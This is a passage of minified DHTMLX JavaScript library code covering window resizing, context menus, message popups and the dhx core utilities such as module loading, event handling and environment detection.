m=\"\";if(s<=h+g.b_width){m=\"w\"}else{if(s>=h+v.offsetWidth-g.b_width){m=\"e\"}}if(o>=u+v.offsetHeight-g.b_width){m=\"s\"+m}else{if(q&&o<=u+g.b_width){m=\"n\"+m}}if(m==\"\"){m=false}if(g.mode!=m){g.mode=m;if(m==false){v.style.cursor=\"default\"}else{v.style.cursor=m+\"-resize\"}}v=g=null};this._rOnCellMouseDown=function(m){if(a.conf.resize.mode==false){return}if(a.conf.progress==true){return}if(a.wins.w[a._idd].conf.allow_resize==false){return}if(a.wins.w[a._idd].conf.fs_mode==true){return}if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}if(a.wins._callMainEvent(\"onBeforeResizeStart\",a._idd)!==true){return}var g=a.wins.w[a._idd];var l=a.conf.resize;a.wins.conf.resize_actv=true;l.min_w=g.conf.min_w;l.min_h=g.conf.min_h;l.max_w=g.conf.max_w||+Infinity;l.max_h=g.conf.max_h||+Infinity;if(g.cell.dataType==\"layout\"&&g.cell.dataObj!=null&&typeof(g.cell.dataObj._getWindowMinDimension)==\"function\"){var h=g.cell.dataObj._getWindowMinDimension(g.cell);l.min_w=Math.max(h.w,l.min_w);l.min_h=Math.max(h.h,l.min_h)}l.vp_l=a.wins.conf.vp_pos_ofs;l.vp_r=a.wins.vp.clientWidth-a.wins.conf.vp_pos_ofs;l.vp_b=a.wins.vp.clientHeight-a.wins.conf.vp_pos_ofs;l.x=m.clientX;l.y=m.clientY;if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"mousemove\",a._rOnWinMouseMove,false);window.addEventListener(\"mouseup\",a._rOnWinMouseUp,false);window.addEventListener(\"selectstart\",a._rOnSelectStart,false)}else{document.body.attachEvent(\"onmousemove\",a._rOnWinMouseMove);document.body.attachEvent(\"onmouseup\",a._rOnWinMouseUp);document.body.attachEvent(\"onselectstart\",a._rOnSelectStart)}l.resized=false;l.vp_cursor=a.wins.vp.style.cursor;a.wins.vp.style.cursor=l.mode+\"-resize\";g=l=null};this._rOnWinMouseMove=function(m){m=m||event;var h=a.wins.w[a._idd];var l=a.conf.resize;if(!l.resized){h.fr_cover.className+=\" dhxwin_fr_cover_resize\";l.resized=true}var g=m.clientX-l.x;var n=m.clientY-l.y;if(l.mode.indexOf(\"e\")>=0){l.rw=Math.min(Math.max(h.conf.w+g,l.min_w),l.max_w);l.rx=null;if(h.conf.x+l.rw<l.vp_l){l.rw=l.vp_l-h.conf.x}else{if(h.conf.x+l.rw>a.wins.vp.clientWidth){l.rw=a.wins.vp.clientWidth-h.conf.x}}}else{if(l.mode.indexOf(\"w\")>=0){l.rw=Math.min(Math.max(h.conf.w-g,l.min_w),l.max_w);l.rx=h.conf.x+h.conf.w-l.rw;if(l.rx<0){l.rw=l.rw+l.rx;l.rx=0}else{if(l.rx>l.vp_r){l.rw=l.rw-l.vp_r;l.rx=l.vp_r}}}}if(l.mode.indexOf(\"s\")>=0){l.rh=Math.min(Math.max(h.conf.h+n,l.min_h),l.max_h);l.ry=null;if(h.conf.y+l.rh>a.wins.vp.clientHeight){l.rh=a.wins.vp.clientHeight-h.conf.y}}else{if(l.mode.indexOf(\"n\")>=0){l.rh=Math.min(Math.max(h.conf.h-n,l.min_h),l.max_h);l.ry=h.conf.y+h.conf.h-l.rh;if(l.ry<0){l.rh=l.rh+l.ry;l.ry=0}else{if(l.ry>l.vp_b){l.rh=l.rh-l.vp_b;l.ry=l.vp_b}}}}a._rAdjustSizer();h=l=null};this._rOnWinMouseUp=function(){var g=a.conf.resize;var e=a.wins.w[a._idd];a.wins.conf.resize_actv=false;a.wins.vp.style.cursor=g.vp_cursor;e.fr_cover.className=String(e.fr_cover.className).replace(/\\s{0,}dhxwin_fr_cover_resize/gi,\"\");if(g.resized){a.wins._winSetSize(a._idd,g.rw,g.rh);if(g.rx==null){g.rx=e.conf.x}if(g.ry==null){g.ry=e.conf.y}if(g.rx!=e.conf.x||g.ry!=e.conf.y){a.wins._winSetPosition(a._idd,g.rx,g.ry)}}if(g.obj!=null){g.obj.parentNode.removeChild(g.obj);g.obj=null}if(g.objFR!=null){g.objFR.parentNode.removeChild(g.objFR);g.objFR=null}if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"mousemove\",a._rOnWinMouseMove,false);window.removeEventListener(\"mouseup\",a._rOnWinMouseUp,false);window.removeEventListener(\"selectstart\",a._rOnSelectStart,false)}else{document.body.detachEvent(\"onmousemove\",a._rOnWinMouseMove);document.body.detachEvent(\"onmouseup\",a._rOnWinMouseUp);document.body.detachEvent(\"onselectstart\",a._rOnSelectStart)}if(g.resized==true){if(a.dataType==\"layout\"&&a.dataObj!=null){a.dataObj.callEvent(\"onResize\",[])}a.wins._callMainEvent(\"onResizeFinish\",a._idd)}else{a.wins._callMainEvent(\"onResizeCancel\",a._idd)}g.mode=\"\";e=g=null};this._rOnSelectStart=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}return false};this._rInitSizer=function(){var g=a.conf.resize;var e=a.wins.w[a._idd];g.obj=document.createElement(\"DIV\");g.obj.className=\"dhxwin_resize\";g.obj.style.zIndex=e.win.style.zIndex;g.obj.style.cursor=g.mode+\"-resize\";a.wins.vp.appendChild(g.obj);if(a.wins.conf.fr_cover==true){g.objFR=document.createElement(\"IFRAME\");g.objFR.className=\"dhxwin_resize_fr_cover\";g.objFR.style.zIndex=g.obj.style.zIndex;a.wins.vp.insertBefore(g.objFR,g.obj)}g.rx=e.conf.x;g.ry=e.conf.y;g.rw=e.conf.w;g.rh=e.conf.h;g=null};this._rAdjustSizer=function(){var e=a.conf.resize;if(!e.obj){this._rInitSizer()}e.obj.style.width=e.rw+\"px\";e.obj.style.height=e.rh+\"px\";if(e.rx!=null){e.obj.style.left=e.rx+\"px\"}if(e.ry!=null){e.obj.style.top=e.ry+\"px\"}if(e.objFR!=null){e.objFR.style.width=e.obj.style.width;e.objFR.style.height=e.obj.style.height;if(e.rx!=null){e.objFR.style.left=e.obj.style.left}if(e.ry!=null){e.objFR.style.top=e.obj.style.top}}e=null};if(typeof(window.addEventListener)==\"function\"){this.wins.w[this._idd].brd.addEventListener(\"mousemove\",this._rOnCellMouseMove,false);this.wins.w[this._idd].brd.addEventListener(\"mousedown\",this._rOnCellMouseDown,false)}else{this.wins.w[this._idd].brd.attachEvent(\"onmousemove\",this._rOnCellMouseMove);this.wins.w[this._idd].brd.attachEvent(\"onmousedown\",this._rOnCellMouseDown)}this._unloadResize=function(){if(typeof(window.addEventListener)==\"function\"){this.wins.w[this._idd].brd.removeEventListener(\"mousemove\",this._rOnCellMouseMove,false);this.wins.w[this._idd].brd.removeEventListener(\"mousedown\",this._rOnCellMouseDown,false)}else{this.wins.w[this._idd].brd.detachEvent(\"onmousemove\",this._rOnCellMouseMove);this.wins.w[this._idd].brd.detachEvent(\"onmousedown\",this._rOnCellMouseDown)}this._initResize=null;this._rOnCellMouseMove=null;this._rOnCellMouseDown=null;this._rOnWinMouseMove=null;this._rOnWinMouseUp=null;this._rOnSelectStart=null;this._rInitSizer=null;this._rAdjustSizer=null;this._unloadResize=null;this.conf.resize=null;a=null}};dhtmlXWindows.prototype.attachContextMenu=function(a){return this._renderContextMenu(\"icon\",null,null,a)};dhtmlXWindows.prototype.getContextMenu=function(){if(this.cm!=null&&this.cm.global!=null){return this.cm.global}return null};dhtmlXWindows.prototype.detachContextMenu=function(){this._detachContextMenu(\"icon\",null,null)};dhtmlXWindowsCell.prototype.attachContextMenu=function(a){return this.wins._renderContextMenu(\"icon\",this._idd,null,a)};dhtmlXWindowsCell.prototype.getContextMenu=function(){if(this.wins.cm!=null&&this.wins.cm.icon[this._idd]!=null){return this.wins.cm.icon[this._idd]}return null};dhtmlXWindowsCell.prototype.detachContextMenu=function(){this.wins._detachContextMenu(\"icon\",this._idd,null)};dhtmlXWindowsButton.prototype.attachContextMenu=function(a){return this.conf.wins._renderContextMenu(\"button\",this.conf.winId,this.conf.name,a)};dhtmlXWindowsButton.prototype.getContextMenu=function(){if(this.conf.wins.cm==null||this.conf.wins.cm.button[this.conf.winId]==null){return null}if(this.conf.wins.cm.button[this.conf.winId][this.conf.name]!=null){return this.conf.wins.cm.button[this.conf.winId][this.conf.name]}return null};dhtmlXWindowsButton.prototype.detachContextMenu=function(){this.conf.wins._detachContextMenu(\"button\",this.conf.winId,this.conf.name)};dhtmlXWindows.prototype._renderContextMenu=function(m,l,e,c){var g=this;var a=false;if(this.cm==null){this.cm={global:null,icon:{},button:{}};a=true}if(l==null){if(this.cm.global!=null){return}}else{if(m==\"icon\"){if(this.cm.icon[l]!=null){return}}else{if(m==\"button\"){if(this.cm.button[l]!=null&&this.cm.button[l][e]!=null){return}}}}if(c==null){c={}}c.parent=null;c.context=true;var h=new dhtmlXMenuObject(c);h.setAutoHideMode(false);h.attachEvent(\"onShow\",function(){this.conf.wins_menu_open=true});h.attachEvent(\"onHide\",function(){this.conf.wins_menu_open=false;g.conf.opened_menu=null});if(l==null){this.cm.global=h}else{if(m==\"icon\"){this.cm.icon[l]=h}else{if(m==\"button\"){if(this.cm.button[l]==null){this.cm.button[l]={}}this.cm.button[l][e]=h}}}if(a){this._showContextMenu=function(r,q){if(r.button>=2){return}if(q.mode==\"icon\"&&q.id!=null&&q.press_type==\"mousedown\"){var s=this.cm.icon[q.id]||this.cm.global;if(s==null){return}r.cancelBubble=true;var o=this.w[q.id].hdr.firstChild;if(s.conf.wins_menu_open&&this.conf.opened_menu==q.id){s.hideContextMenu()}else{this._hideContextMenu();s.showContextMenu(window.dhx4.absLeft(o),window.dhx4.absTop(o)+o.offsetHeight);this.conf.opened_menu=q.id}s=o=null}if(q.mode==\"button\"&&q.id!=null&&q.press_type==\"mousedown\"){if(this.cm.button[q.id]==null||this.cm.button[q.id][q.button_name]==null){return}r.cancelBubble=true;this.conf.button_last=null;var s=this.cm.button[q.id][q.button_name];var n=this.w[q.id].b[q.button_name].button;if(s.conf.wins_menu_open&&this.conf.opened_menu==q.id){s.hideContextMenu()}else{this._hideContextMenu();s.showContextMenu(window.dhx4.absLeft(n),window.dhx4.absTop(n)+n.offsetHeight);this.conf.opened_menu=q.id}s=n=null}};this._hideContextMenu=function(s){if(s!=null){s=s||event;if(s.type==\"keydown\"&&s.keyCode!=27){return}var r=s.target||s.srcElement;var o=true;while(r!=null&&o==true){if(r.className!=null&&r.className.search(/SubLevelArea_Polygon/)>=0){o=false}else{r=r.parentNode}}}if(o||s==null){if(g.cm.global!=null){g.cm.global.hideContextMenu()}for(var q in g.cm.icon){if(g.cm.icon[q]!=null){g.cm.icon[q].hideContextMenu()}}for(var q in g.cm.button){for(var n in g.cm.button[q]){if(g.cm.button[q][n]!=null){g.cm.button[q][n].hideContextMenu()}}}}};this._detachContextMenu=function(q,o,n){if(this.cm==null){return}if(o==null){if(this.cm.global!=null){this.cm.global.unload();this.cm.global=null}}else{if(q==\"icon\"){if(this.cm.icon[o]!=null){this.cm.icon[o].unload();this.cm.icon[o]=null}}else{if(q==\"button\"){if(this.cm.button[o]!=null&&this.cm.button[o][n]!=null){this.cm.button[o][n].unload();this.cm.button[o][n]=null}}}}};this.attachEvent(\"_winMouseDown\",this._showContextMenu);if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"mousedown\",this._hideContextMenu,false);window.addEventListener(\"keydown\",this._hideContextMenu,false)}else{document.body.attachEvent(\"onmousedown\",this._hideContextMenu);document.body.attachEvent(\"onkeydown\",this._hideContextMenu)}this._unloadContextMenu=function(){this._detachContextMenu(\"icon\",null,null);this.cm=null;if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"mousedown\",this._hideContextMenu,false);window.removeEventListener(\"keydown\",this._hideContextMenu,false)}else{document.body.detachEvent(\"onmousedown\",this._hideContextMenu);document.body.detachEvent(\"onkeydown\",this._hideContextMenu)}g=null}}return h};if(!window.dhtmlx){window.dhtmlx={}}(function(){var q=null;function s(y,w){var x=y.callback;r(false);y.box.parentNode.removeChild(y.box);q=y.box=null;if(x){x(w)}}function a(x){if(q){x=x||event;var w=x.which||event.keyCode;if(dhtmlx.message.keyboard){if(w==13||w==32){s(q,true)}if(w==27){s(q,false)}}if(x.preventDefault){x.preventDefault()}return !(x.cancelBubble=true)}}if(document.attachEvent){document.attachEvent(\"onkeydown\",a)}else{document.addEventListener(\"keydown\",a,true)}function r(x){if(!r.cover){r.cover=document.createElement(\"DIV\");r.cover.onkeydown=a;r.cover.className=\"dhx_modal_cover\";document.body.appendChild(r.cover)}var w=document.body.scrollHeight;r.cover.style.display=x?\"inline-block\":\"none\"}function l(x,w){return\"<div class='dhtmlx_popup_button' result='\"+w+\"' ><div>\"+x+\"</div></div>\"}function e(x){if(!u.area){u.area=document.createElement(\"DIV\");u.area.className=\"dhtmlx_message_area\";u.area.style[u.position]=\"5px\";document.body.appendChild(u.area)}u.hide(x.id);var w=document.createElement(\"DIV\");w.innerHTML=\"<div>\"+x.text+\"</div>\";w.className=\"dhtmlx-info dhtmlx-\"+x.type;w.onclick=function(){if(x){u.hide(x.id)}x=null};if(u.position==\"bottom\"&&u.area.firstChild){u.area.insertBefore(w,u.area.firstChild)}else{u.area.appendChild(w)}if(x.expire>0){u.timers[x.id]=window.setTimeout(function(){u.hide(x.id)},x.expire)}u.pull[x.id]=w;w=null;return x.id}function m(x,A,E){var D=document.createElement(\"DIV\");D.className=\" dhtmlx_modal_box dhtmlx-\"+x.type;D.setAttribute(\"dhxbox\",1);var w=\"\";if(x.width){D.style.width=x.width}if(x.height){D.style.height=x.height}if(x.title){w+='<div class=\"dhtmlx_popup_title\">'+x.title+\"</div>\"}w+='<div class=\"dhtmlx_popup_text\"><span>'+(x.content?\"\":x.text)+'</span></div><div  class=\"dhtmlx_popup_controls\">';if(A){w+=l(x.ok||\"OK\",true)}if(E){w+=l(x.cancel||\"Cancel\",false)}if(x.buttons){for(var y=0;y<x.buttons.length;y++){w+=l(x.buttons[y],y)}}w+=\"</div>\";D.innerHTML=w;if(x.content){var C=x.content;if(typeof C==\"string\"){C=document.getElementById(C)}if(C.style.display==\"none\"){C.style.display=\"\"}D.childNodes[x.title?1:0].appendChild(C)}D.onclick=function(I){I=I||event;var H=I.target||I.srcElement;if(!H.className){H=H.parentNode}if(H.className==\"dhtmlx_popup_button\"){var F=H.getAttribute(\"result\");F=(F==\"true\")||(F==\"false\"?false:F);s(x,F)}};x.box=D;if(A||E){q=x}return D}function v(A,C,E){var D=A.tagName?A:m(A,C,E);if(!A.hidden){r(true)}document.body.appendChild(D);var w=A.left||Math.abs(Math.floor(((window.innerWidth||document.documentElement.offsetWidth)-D.offsetWidth)/2));var F=A.top||Math.abs(Math.floor(((window.innerHeight||document.documentElement.offsetHeight)-D.offsetHeight)/2));if(A.position==\"top\"){D.style.top=\"-3px\"}else{D.style.top=F+\"px\"}D.style.left=w+\"px\";D.onkeydown=a;D.focus();if(A.hidden){dhtmlx.modalbox.hide(D)}return D}function o(w){return v(w,true,false)}function c(w){return v(w,true,true)}function h(w){return v(w)}function n(x,w,y){if(typeof x!=\"object\"){if(typeof w==\"function\"){y=w;w=\"\"}x={text:x,type:w,callback:y}}return x}function g(y,x,w,A){if(typeof y!=\"object\"){y={text:y,type:x,expire:w,id:A}}y.id=y.id||u.uid();y.expire=y.expire||u.expire;return y}dhtmlx.alert=function(){var w=n.apply(this,arguments);w.type=w.type||\"confirm\";return o(w)};dhtmlx.confirm=function(){var w=n.apply(this,arguments);w.type=w.type||\"alert\";return c(w)};dhtmlx.modalbox=function(){var w=n.apply(this,arguments);w.type=w.type||\"alert\";return h(w)};dhtmlx.modalbox.hide=function(w){while(w&&w.getAttribute&&!w.getAttribute(\"dhxbox\")){w=w.parentNode}if(w){w.parentNode.removeChild(w);r(false);q=null}};var u=dhtmlx.message=function(A,y,x,C){A=g.apply(this,arguments);A.type=A.type||\"info\";var w=A.type.split(\"-\")[0];switch(w){case\"alert\":return o(A);case\"confirm\":return c(A);case\"modalbox\":return h(A);default:return e(A);break}};u.seed=(new Date()).valueOf();u.uid=function(){return u.seed++};u.expire=4000;u.keyboard=true;u.position=\"top\";u.pull={};u.timers={};u.hideAll=function(){for(var w in u.pull){u.hide(w)}};u.hide=function(x){var w=u.pull[x];if(w&&w.parentNode){window.setTimeout(function(){w.parentNode.removeChild(w);w=null},2000);w.className+=\" hidden\";if(u.timers[x]){window.clearTimeout(u.timers[x])}delete u.pull[x]}}})();if(!window.dhx){dhx={}}dhx.assert=function(c,a){if(!c){dhx.assert_error(a)}};dhx.assert_error=function(message){dhx.log(\"error\",message);if(dhx.message&&typeof message==\"string\"){dhx.message({type:\"debug\",text:message,expire:-1})}if(dhx.debug!==false){eval(\"debugger;\")}};dhx.assert_core_ready=function(){if(window.dhx_on_core_ready){dhx_on_core_ready()}};dhx.codebase=\"./\";dhx.name=\"Core\";dhx.clone=function(c){var a=dhx.clone._function;a.prototype=c;return new a()};dhx.clone._function=function(){};dhx.extend=function(e,c,a){dhx.assert(e,\"Invalid mixing target\");dhx.assert(c,\"Invalid mixing source\");if(e._dhx_proto_wait){dhx.PowerArray.insertAt.call(e._dhx_proto_wait,c,1);return e}for(var g in c){if(!e[g]||a){e[g]=c[g]}}if(c.defaults){dhx.extend(e.defaults,c.defaults)}if(c.$init){c.$init.call(e)}return e};dhx.copy=function(a){dhx.assert(a,\"Invalid mixing target\");if(arguments.length>1){var c=arguments[0];a=arguments[1]}else{var c=(dhx.isArray(a)?[]:{})}for(var e in a){if(a[e]&&typeof a[e]==\"object\"&&!dhx.isDate(a[e])){c[e]=(dhx.isArray(a[e])?[]:{});dhx.copy(c[e],a[e])}else{c[e]=a[e]}}return c};dhx.single=function(e){var a=null;var c=function(g){if(!a){a=new e({})}if(a._reinit){a._reinit.apply(a,arguments)}return a};return c};dhx.protoUI=function(){if(dhx.debug_proto){dhx.log(\"UI registered: \"+arguments[0].name)}var e=arguments;var a=e[0].name;var c=function(h){if(!c){return dhx.ui[a].prototype}var m=c._dhx_proto_wait;if(m){var l=[m[0]];for(var g=1;g<m.length;g++){l[g]=m[g];if(l[g]._dhx_proto_wait){l[g]=l[g].call(dhx,l[g].name)}if(l[g].prototype&&l[g].prototype.name){dhx.ui[l[g].prototype.name]=l[g]}}dhx.ui[a]=dhx.proto.apply(dhx,l);if(c._dhx_type_wait){for(var g=0;g<c._dhx_type_wait.length;g++){dhx.Type(dhx.ui[a],c._dhx_type_wait[g])}}c=m=null}if(this!=dhx){return new dhx.ui[a](h)}else{return dhx.ui[a]}};c._dhx_proto_wait=Array.prototype.slice.call(arguments,0);return dhx.ui[a]=c};dhx.proto=function(){if(dhx.debug_proto){dhx.log(\"Proto chain:\"+arguments[0].name+\"[\"+arguments.length+\"]\")}var l=arguments;var h=l[0];var c=!!h.$init;var n=[];dhx.assert(h,\"Invalid mixing target\");for(var g=l.length-1;g>0;g--){dhx.assert(l[g],\"Invalid mixing source\");if(typeof l[g]==\"function\"){l[g]=l[g].prototype}if(l[g].$init){n.push(l[g].$init)}if(l[g].defaults){var e=l[g].defaults;if(!h.defaults){h.defaults={}}for(var a in e){if(dhx.isUndefined(h.defaults[a])){h.defaults[a]=e[a]}}}if(l[g].type&&h.type){for(var a in l[g].type){if(!h.type[a]){h.type[a]=l[g].type[a]}}}for(var m in l[g]){if(!h[m]){h[m]=l[g][m]}}}if(c){n.push(h.$init)}h.$init=function(){for(var q=0;q<n.length;q++){n[q].apply(this,arguments)}};var o=function(q){this.$ready=[];dhx.assert(this.$init,\"object without init method\");this.$init(q);if(this._parseSettings){this._parseSettings(q,this.defaults)}for(var r=0;r<this.$ready.length;r++){this.$ready[r].call(this)}};o.prototype=h;h=l=null;return o};dhx.bind=function(c,a){return function(){return c.apply(a,arguments)}};dhx.require=function(c,n,m){if(typeof c!=\"string\"){var l=c.length||0;var h=n;if(!l){for(var a in c){l++}n=function(){l--;if(l===0){h.apply(this,arguments)}};for(var a in c){dhx.require(a,n,m)}}else{n=function(){if(l){l--;dhx.require(c[c.length-l-1],n,m)}else{return h.apply(this,arguments)}};n()}return}if(dhx._modules[c]!==true){if(c.substr(-4)==\".css\"){var g=dhx.html.create(\"LINK\",{type:\"text/css\",rel:\"stylesheet\",href:dhx.codebase+c});document.head.appendChild(g);if(n){n.call(m||window)}return}var e=arguments[4];if(!n){dhx.exec(dhx.ajax().sync().get(dhx.codebase+c).responseText);dhx._modules[c]=true}else{if(!dhx._modules[c]){dhx._modules[c]=[[n,m]];dhx.ajax(dhx.codebase+c,function(r){dhx.exec(r);var q=dhx._modules[c];dhx._modules[c]=true;for(var o=0;o<q.length;o++){q[o][0].call(q[o][1]||window,!o)}})}else{dhx._modules[c].push([n,m])}}}};dhx._modules={};dhx.exec=function(code){if(window.execScript){window.execScript(code)}else{window.eval(code)}};dhx.wrap=function(c,a){if(!c){return a}return function(){var e=c.apply(this,arguments);a.apply(this,arguments);return e}};dhx.isUndefined=function(c){return typeof c==\"undefined\"};dhx.delay=function(g,c,e,a){return window.setTimeout(function(){var h=g.apply(c,(e||[]));g=c=e=null;return h},a||1)};dhx.uid=function(){if(!this._seed){this._seed=(new Date).valueOf()}this._seed++;return this._seed};dhx.toNode=function(a){if(typeof a==\"string\"){return document.getElementById(a)}return a};dhx.toArray=function(a){return dhx.extend((a||[]),dhx.PowerArray,true)};dhx.toFunctor=function(str){return(typeof(str)==\"string\")?eval(str):str};dhx.isArray=function(a){return Array.isArray?Array.isArray(a):(Object.prototype.toString.call(a)===\"[object Array]\")};dhx.isDate=function(a){return a instanceof Date};dhx._events={};dhx.event=function(g,e,a,c){g=dhx.toNode(g);var h=dhx.uid();if(c){a=dhx.bind(a,c)}dhx._events[h]=[g,e,a];if(g.addEventListener){g.addEventListener(e,a,false)}else{if(g.attachEvent){g.attachEvent(\"on\"+e,a)}}return h};dhx.eventRemove=function(c){if(!c){return}dhx.assert(this._events[c],\"Removing non-existing event\");var a=dhx._events[c];if(a[0].removeEventListener){a[0].removeEventListener(a[1],a[2],false)}else{if(a[0].detachEvent){a[0].detachEvent(\"on\"+a[1],a[2])}}delete this._events[c]};dhx.log=function(c,e,a){if(arguments.length==1){e=c;c=\"log\"}if(window.console&&console.log){c=c.toLowerCase();if(window.console[c]){window.console[c](e||\"unknown error\")}else{window.console.log(c+\": \"+e)}if(a){window.console.log(a)}}};dhx.log_full_time=function(a){dhx._start_time_log=new Date();dhx.log(\"Timing start [\"+a+\"]\");window.setTimeout(function(){var c=new Date();dhx.log(\"Timing end [\"+a+\"]:\"+(c.valueOf()-dhx._start_time_log.valueOf())/1000+\"s\")},1)};dhx.log_time=function(a){var e=\"_start_time_log\"+a;if(!dhx[e]){dhx[e]=new Date();dhx.log(\"Info\",\"Timing start [\"+a+\"]\")}else{var c=new Date();dhx.log(\"Info\",\"Timing end [\"+a+\"]:\"+(c.valueOf()-dhx[e].valueOf())/1000+\"s\");dhx[e]=null}};dhx.debug_code=function(a){a.call(dhx)};dhx.EventSystem={$init:function(){if(!this._evs_events){this._evs_events={};this._evs_handlers={};this._evs_map={}}},blockEvent:function(){this._evs_events._block=true},unblockEvent:function(){this._evs_events._block=false},mapEvent:function(a){dhx.extend(this._evs_map,a,true)},on_setter:function(a){if(a){for(var c in a){if(typeof a[c]==\"function\"){this.attachEvent(c,a[c])}}}},callEvent:function(e,h){if(this._evs_events._block){return true}e=e.toLowerCase();var g=this._evs_events[e.toLowerCase()];var a=true;if(dhx.debug){dhx.log(\"info\",\"[\"+this.name+\"] event:\"+e,h)}if(g){for(var c=0;c<g.length;c++){if(g[c].apply(this,(h||[]))===false){a=false}}}if(this._evs_map[e]&&!this._evs_map[e].callEvent(e,h)){a=false}return a},attachEvent:function(c,a,g){dhx.assert(a,\"Invalid event handler for \"+c);c=c.toLowerCase();g=g||dhx.uid();a=dhx.toFunctor(a);var e=this._evs_events[c]||dhx.toArray();e.push(a);this._evs_events[c]=e;this._evs_handlers[g]={f:a,t:c};return g},detachEvent:function(g){if(!this._evs_handlers[g]){return}var c=this._evs_handlers[g].t;var a=this._evs_handlers[g].f;var e=this._evs_events[c];e.remove(a);delete this._evs_handlers[g]},hasEvent:function(a){a=a.toLowerCase();return this._evs_events[a]?true:false}};dhx.extend(dhx,dhx.EventSystem);dhx.PowerArray={removeAt:function(c,a){if(c>=0){this.splice(c,(a||1))}},remove:function(a){this.removeAt(this.find(a))},insertAt:function(c,e){if(!e&&e!==0){this.push(c)}else{var a=this.splice(e,(this.length-e));this[e]=c;this.push.apply(this,a)}},find:function(c){for(var a=0;a<this.length;a++){if(c==this[a]){return a}}return -1},each:function(a,e){for(var c=0;c<this.length;c++){a.call((e||this),this[c])}},map:function(a,e){for(var c=0;c<this.length;c++){this[c]=a.call((e||this),this[c])}return this},filter:function(a,e){for(var c=0;c<this.length;c++){if(!a.call((e||this),this[c])){this.splice(c,1);c--}}return this}};dhx.env={};(function(){if(navigator.userAgent.indexOf(\"Mobile\")!=-1){dhx.env.mobile=true}if(dhx.env.mobile||navigator.userAgent.indexOf(\"iPad\")!=-1||navigator.userAgent.indexOf(\"Android\")!=-1){dhx.env.touch=true}if(navigator.userAgent.indexOf(\"Opera\")!=-1){dhx.env.isOpera=true}else{dhx.env.isIE=!!document.all;dhx.env.isFF=!document.all;dhx.env.isWebKit=(navigator.userAgent.indexOf(\"KHTML\")!=-1);dhx.env.isSafari=dhx.env.isWebKit&&(navigator.userAgent.indexOf(\"Mac\")!=-1)}if(navigator.userAgent.toLowerCase().indexOf(\"android\")!=-1){dhx.env.isAndroid=true}dhx.env.transform=false;dhx.env.transition=false;var e={};e.names=[\"transform\",\"transition\"];e.transform=[\"transform\",\"WebkitTransform\",\"MozTransform\",\"OTransform\",\"msTransform\"];e.transition=[\"transition\",\"WebkitTransition\",\"MozTransition\",\"OTransition\",\"msTransition\"];var m=document.createElement(\"DIV\");for(var h=0;h<e.names.length;h++){var g=e[e.names[h]];for(var c=0;c<g.length;c++){if(typeof m.style[g[c]]!=\"undefined\"){dhx.env[e.names[h]]=g[c];break}}}m.style[dhx.env.transform]=\"translate3d(0,0,0)\";dhx.env.translate=(m.style[dhx.env.transform])?\"translate3d\":\"translate\";var l=\"\";var a=false;if(dhx.env.isOpera){l=\"-o-\";a=\"O\"}if(dhx.env.isFF){l=\"-Moz-\"}if(dhx.env.isWebKit){l=\"-webkit-\"}if(dhx.env.isIE){l=\"-ms-\"}dhx.env.transformCSSPrefix=l;dhx.env.transformPrefix=a||(dhx.env.transformCSSPrefix.replace(/-/gi,\"\"));dhx.env.transitionEnd=((dhx.env.transformCSSPrefix==\"-Moz-\")?\"transitionend\":(dhx.env.transformPrefix+\"TransitionEnd\"))})();dhx.env.svg=(function(){return document.implementation.hasFeature(\"http://www.w3.org/TR/SVG11/feature#BasicStructure\",\"1.1\")})();dhx.html={_native_on_selectstart:0,denySelect:function(){if(!dhx._native_on_selectstart){dhx._native_on_selectstart=document.onselectstart}document.onselectstart=dhx.html.stopEvent},allowSelect:function(){if(dhx._native_on_selectstart!==0){document.onselectstart=dhx._native_on_selectstart||null}dhx._native_on_selectstart=0},index:function(c){var a=0;while(c=c.previousSibling){a++}return a},_style_cache:{},createCss:function(e){var g=\"\";for(var c in e){g+=c+\":\"+e[c]+\";\"}var a=this._style_cache[g];if(!a){a=\"s\"+dhx.uid();this.addStyle(\".\"+a+\"{\"+g+\"}\");this._style_cache[g]=a}return a},addStyle:function(c){var a=document.createElement(\"style\");a.setAttribute(\"type\",\"text/css\");a.setAttribute(\"media\",\"screen\");if(a.styleSheet){a.styleSheet.cssText=c}else{a.appendChild(document.createTextNode(c))}document.getElementsByTagName(\"head\")[0].appendChild(a)},create:function(c,a,e){a=a||{};var g=document.createElement(c);for(var h in a){g.setAttribute(h,a[h])}if(a.style){g.style.cssText=a.style}if(a[\"class\"]){g.className=a[\"class\"]}if(e){g.innerHTML=e}return g},getValue:function(a){a=dhx.toNode(a);if(!a){return\"\"}return dhx.isUndefined(a.value)?a.innerHTML:a.value},remove:function(c){if(c instanceof Array){for(var a=0;a<c.length;a++){this.remove(c[a])}}else{if(c&&c.parentNode){c.parentNode.removeChild(c)}}},insertBefore:function(c,e,a){if(!c){return}if(e&&e.parentNode){e.parentNode.insertBefore(c,e)}else{a.appendChild(c)}},locate:function(c,h){if(c.tagName){var a=c}else{c=c||event;var a=c.target||c.srcElement}while(a){if(a.getAttribute){var g=a.getAttribute(h);if(g){return g}}a=a.parentNode}return null},offset:function(g){if(g.getBoundingClientRect){var m=g.getBoundingClientRect();var n=document.body;var c=document.documentElement;var a=window.pageYOffset||c.scrollTop||n.scrollTop;var h=window.pageXOffset||c.scrollLeft||n.scrollLeft;var l=c.clientTop||n.clientTop||0;var o=c.clientLeft||n.clientLeft||0;var q=m.top+a-l;var e=m.left+h-o;return{y:Math.round(q),x:Math.round(e)}}else{var q=0,e=0;while(g){q=q+parseInt(g.offsetTop,10);e=e+parseInt(g.offsetLeft,10);g=g.offsetParent}return{y:q,x:e}}},posRelative:function(a){a=a||event;if(!dhx.isUndefined(a.offsetX)){return{x:a.offsetX,y:a.offsetY}}else{return{x:a.layerX,y:a.layerY}}},pos:function(a){a=a||event;if(a.pageX||a.pageY){return{x:a.pageX,y:a.pageY}}var c=((dhx.env.isIE)&&(document.compatMode!=\"BackCompat\"))?document.documentElement:document.body;return{x:a.clientX+c.scrollLeft-c.clientLeft,y:a.clientY+c.scrollTop-c.clientTop}},preventEvent:function(a){if(a&&a.preventDefault){a.preventDefault()}return dhx.html.stopEvent(a)},stopEvent:function(a){(a||event).cancelBubble=true;return false},addCss:function(c,a){c.className+=\" \"+a},removeCss:function(c,a){c.className=c.className.replace(RegExp(\" 